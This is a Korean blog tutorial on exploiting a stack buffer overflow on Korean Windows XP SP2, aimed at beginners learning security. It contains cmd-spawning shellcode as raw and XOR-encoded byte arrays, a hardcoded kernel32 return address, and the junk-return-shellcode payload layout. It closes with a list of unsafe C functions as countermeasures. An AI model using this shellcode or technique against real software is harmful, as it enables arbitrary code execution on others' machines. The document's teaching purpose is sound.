본문 바로가기

[☩ Security ☩]

윈도우즈 버퍼오버플로어(Windows bufferoverflow)




보안에 처음입문하면서 읽어봣던 내용입니다.

작성자
http://blog.naver.com/bluenote9
OS : 한글 Windows XP 버젼 5.1(빌드 2600.xpsp_sp2_gdr.050301-1519:Service Pack2)

1. 소개
우선 오버플로어를 테스트 하기 위해 간단한 프로그램을 만들었다.


gcc를 이용하여 컴파일하였다.


위 프로그램은 버퍼에 문자들을 저장하고

출력하는 간단한 프로그램이다.
오버플로어가 가능하도록 10개 이상의 문자를 입력해 보자.
10개 이상 문자를 입력해도 아무 일도 일어나지 않는다.
하지만 14개 이상의 문자열을 더 입력하면 에러가 나는 것을 확인할 수 있다.
컴파일러마다 버퍼에 여유 공간이 있는데 gcc는 조금 넉넉하게 문자열을 받는 것을 알 수 있다.
 
[data][14byte][ebp][eip]
AAAAAAAAAA AAAAAAAAAAAAAA BBBB[HEX 42424242] CCCC[HEX 43434343]
 
eip는 다음에 이동할 주소를 가르키는데 엉뚱한 주소를 참조하기 때문에 에러가 일어난다.


올리디버거로 위과 같은 ebp와 eip의 주소를 볼 수 있다..

입력한 값들이 eip의 값을 변경했으니 우리가 원하는 주소로 리턴해 쉘코드를 실행할 수 있을 것이다.
 
2. 쉘코드 만들기
 
쉘코드를 만들어 보기로 하자.
쉘코드를 만드는데 VC를 이용하였다.

아래의 그림은 VC 디버거의 모습이다.


winasm를 이용하여 컴파일하고 핵스에디터로 열어보았다.


컴파일된 파일을 열어보면 위에서 만든 쉘코드를 올리디버거와 핵스 에디터에서도 볼 수 있다.


위의 것들이 cmd를 실행할 수 있는 쉘코드인데 이것은 공격할 수 있는 쉘코드는 아니다.
null문자를 만나면 그것을 끝으로 보기 때문에
우리가 원하는 쉘코드를 실행할 수 없다.

SHELLCODE

unsigned char shellcode[] = {
 0x55, 0x8B, 0xEC, 0x53, 0x56, 0x57, 0xC6, 0x45, 0xFC, 0x63, 0xC6, 0x45, 0xFD, 0x6D, 0xC6, 0x45,
 0xFE, 0x64, 0xC6, 0x45, 0xFF, 0x00, 0x6A, 0x05, 0x8D, 0x45, 0xFC, 0x50, 0xB8, 0x6D, 0x13, 0x86,
 0x7C, 0xFF, 0xD0, 0x6A, 0x01, 0xB8, 0xDA, 0xCD, 0x81, 0x7C, 0xFF, 0xD0
};

NULL 문자를 제거하기 위해서
우선 쉘코드를 xor를 이용하여 encoding 시켜줘야 한다.
그리고 다시 decode를 이용하여
컴파일하고 쉘코드를 작성해야 하는 복잡한 과정을 거쳐야 한다.
그리고 또 문제가 있다 영문판 윈도우에서 일어나지 않는 것들이
이 윈도우에서는 특정 코드 값들을 3F로 처리해 버린다.
(여기서는 아래의 인코딩된 소스를 사용할 것이다)

xor ENCODE

unsigned char shellcode[] = {
 0xEB, 0x10, 0x58, 0x31, 0xC9, 0x66, 0x81, 0xE9, 0xD4, 0xFF, 0x80, 0x30, 0x02, 0x40, 0xE2, 0xFA,
 0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF, 0x57, 0x89, 0xEE, 0x51, 0x54, 0x55, 0xC4, 0x47, 0xFE,
 0x61, 0xC4, 0x47, 0xFF, 0x6F, 0xC4, 0x47, 0xFC, 0x66, 0xC4, 0x47, 0xFD, 0x02, 0x68, 0x07, 0x8F,
 0x47, 0xFE, 0x52, 0xBA, 0x6F, 0x11, 0x84, 0x7E, 0xFD, 0xD2, 0x68, 0x03, 0xBA, 0xD8, 0xCF, 0x83,
 0x7E, 0xFD, 0xD2
};


3F 처리된 쉘코드
unsigned char shellcode[] = {
 0x3F, 0x58, 0x31, 0x3F, 0x81, 0xE9, 0x3F, 0x80, 0x30, 0x02, 0x40, 0xE2, 0xFA, 0x3F, 0xE8, 0xEB,
 0xFF, 0xFF, 0xFF, 0x57, 0x89, 0xEE, 0x51, 0x54, 0x55, 0xC4, 0x47, 0x3F, 0xC4, 0x47, 0xFF, 0x6F,
 0xC4, 0x47, 0x3F, 0xC4, 0x47, 0x3F, 0x68, 0x07, 0x8F, 0x47, 0x3F, 0xBA, 0x6F, 0x11, 0x3F, 0xFD,
 0xD2, 0x68, 0x03, 0xBA, 0xD8, 0x3F, 0x7E, 0xFD, 0xD2
};

3. 버퍼 주소

자 인코딩도 끝났다 그럼 이제 버퍼의 주소를 찾아보도록 하자.

우선 버퍼의 주소를 찾아야 되는데
디버거를 사용하지 않는 이상 우리는 버퍼의 주소를 알 수 없다.
하지만 jmp, call esp 나 ebx가 쉘코드가 있는 버퍼의 위치를 가르키는 경우가 많으므로
각 프로그램이 사용하는 dll의 esp를 리턴 주소로 사용할 수 있다.
PEB, TOP SEH를 이용하는 방법도 있으나 다음에 다루기로 한다.

여기서는 kernel32.dll의 esp를 찾아서 리턴 주소로 사용할 것이다.


4. 공격
[junkdata][ret][shellcode]

[AAAAAAAAAAAAAAAAAAAAAAAABBBB][0x7c81518b][shellcode]

실행시켜 보자 여기서는 핵스에디터를 이용해 실행했지만
다음에는 아규먼트 입력 값을  이용해 실행시켜 보자.
3F 처리된 쉘코드 (위의 코드) 로 인해 실행되지 않는 것을 볼 수 있을 것이다.


프롬프트 창이 뜨는 것을 볼 수 있다.


5. 대책

이미 알려진 버퍼오버플로어가 일어나는 함수들은 가능한 사용하지 않도록 한다
gets(), sprintf(), strcat(), strcpy(), streadd()
strecpy(), strtrns(), index(), fscanf(),vsprint()
위의 함수들은 일반적인 c 문법에 알려진 버퍼오버플로어 함수들이다

strncpy(), strncat(), fgets()
sscanf(), realpath(),
getpass(), strecpy(), strtrns()
copymemory(), _tcscpy(), _mbscpy()
wscat(), _fscat(), _mbscat()

국내에는 윈도우즈 버퍼 오버플로어에 관한 문서가 거의 없는 거 같다.
이 문서는 윈도우즈의 버퍼오버플로어에 대해 간략하게 정리한 것일 뿐이다.
많은 내용들이 생략되었지만 경각심을 알려주기에는 충분하리라 믿는다 .
 
국내의 어떤 게임 프로그램은 버퍼오버플로어를 그냥 방치하기도 했다.
외국 사람들이 한글 프로그램을 사용하지 않아서 exploit가 없을 뿐이지 영문 프로그램 같은 경우는 얼마나 많지 않은가 이젠 윈도우도 exploit가 책 한 권 정도일 정도로 많아졌다.